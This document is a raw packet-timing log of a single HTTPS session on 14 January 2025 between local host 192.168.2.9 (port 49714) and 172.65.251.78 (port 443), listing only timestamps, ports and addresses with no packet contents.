Jan 14, 2025 15:43:40.284634113 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.284641981 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.284663916 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.284673929 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.368663073 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.368693113 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.368782043 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.368793964 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.368829966 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.368994951 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.369041920 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.369056940 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.369064093 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.369085073 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.369107962 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.369343042 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.369359970 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.369471073 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.369477034 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.369518995 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.369596004 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.369611025 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.369648933 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.369654894 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.369695902 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.369894028 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.369910955 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.369992971 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.369998932 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.370043039 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.370387077 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.370408058 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.370465040 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.370471001 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.370498896 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.370516062 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.370728016 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.370794058 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.370800018 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.370837927 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.370919943 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.370935917 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.370990038 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.370995998 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.371032000 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.413156033 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.413186073 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.413253069 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.413271904 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.413300037 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.413314104 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.455265045 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.455291033 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.455353022 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.455363989 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.455399990 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.455636978 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.455656052 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.455704927 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.455710888 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.455730915 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.455754042 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.456327915 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.456342936 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.456378937 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.456383944 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.456417084 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.456589937 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.456624031 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.456664085 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.456667900 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.456681013 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.456700087 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.456830978 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.456845045 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.456877947 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.456882954 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.456912041 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.456929922 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.457099915 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.457118034 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.457187891 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.457195044 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.457230091 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.457567930 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.457585096 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.457645893 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.457645893 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.457653999 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.457694054 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.499470949 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.499500990 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.499607086 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.499622107 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.499660015 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.541714907 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.541773081 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.541790962 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.541800976 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.541837931 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.541925907 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.541943073 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.541976929 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.541985035 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.541994095 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.541999102 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.542018890 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.542028904 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.542042017 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.542076111 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.542664051 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.542680025 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.542732954 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.542740107 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.542766094 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.542783976 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.542908907 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.542956114 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.542960882 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.542972088 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.543001890 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.543020010 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.543025970 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.543068886 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.543068886 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.543255091 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.543271065 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.543344021 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.543350935 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.543389082 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.543587923 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.543627024 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.543647051 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.543653965 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.543677092 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.543690920 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.543870926 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.543886900 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.543926954 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.543931961 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.543942928 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.543962955 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.544007063 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.544063091 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.544069052 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.544115067 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.628046989 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.628120899 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.628151894 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.628165007 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.628180981 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.628200054 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.628206015 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.628220081 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.628243923 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.628252983 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.628283024 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.628288984 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.628401041 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.628415108 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.628454924 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.628460884 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.628473043 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.628504038 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.629327059 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.629364967 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.629390001 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.629395962 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.629427910 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.629622936 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.629641056 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.629673004 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.629678011 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.629688025 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.629702091 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.629722118 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.629729033 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.629755020 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.629792929 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.630657911 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.630676031 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.630714893 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.630721092 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.630733967 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.630754948 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.630773067 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.630781889 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.630815983 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.631067038 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.631081104 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.631119013 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.631124973 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.631151915 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.631175995 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.672388077 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.672406912 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.672449112 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.672461033 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.672483921 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.672503948 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.714307070 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.714368105 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.714392900 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.714402914 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.714433908 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.714503050 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.714533091 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.714550018 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.714556932 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.714576960 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.714592934 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.714875937 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.714894056 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.714941978 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.714948893 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.714973927 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.714987040 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.715344906 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.715398073 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.715881109 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.715898037 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.715930939 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.715944052 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.715965986 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.715976954 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.716121912 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.716161013 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.716175079 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.716183901 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.716217041 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.716342926 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.717048883 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.717067957 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.717101097 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.717107058 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.717148066 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.717148066 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.717242002 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.717272043 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.717293024 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.717298031 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.717317104 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.717333078 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.717422962 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.717451096 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.717480898 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.717485905 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.717499971 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.717516899 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.758867979 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.758900881 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.758961916 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.758975983 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.759016991 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.759036064 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.800769091 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.800796986 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.800863028 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.800878048 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.800901890 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.800920010 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.801492929 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.801512957 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.801552057 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.801557064 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.801588058 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.801759958 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.801774979 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.801822901 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.801834106 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.801944971 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.803792953 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.803832054 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.803850889 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.803858995 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.803915024 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.804001093 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.804018021 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.804083109 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.804089069 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.804126978 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.804126978 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.804183960 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.804235935 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.804241896 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.804285049 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.804414034 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.804429054 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.804474115 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.804478884 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.804510117 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.804560900 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.804600954 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.804770947 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.804804087 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.804816961 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.804821968 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.804846048 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.804862022 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.886976004 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.887005091 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.887047052 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.887061119 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.887073994 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.887106895 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.887134075 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.887481928 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.887496948 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.887540102 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.887546062 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.887603045 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.887917995 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.887939930 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.887979984 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.887984991 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.888014078 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.888031960 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.889982939 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.890002012 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.890043974 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.890052080 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.890078068 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.890093088 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.890295029 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.890311003 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.890364885 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.890369892 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.890403986 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.890417099 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.890538931 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.890554905 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.890609980 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.890614033 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.890628099 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.890724897 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.890877008 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.890893936 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.890950918 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.890957117 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.891040087 CET	49714	443	192.168.2.9	172.65.251.78
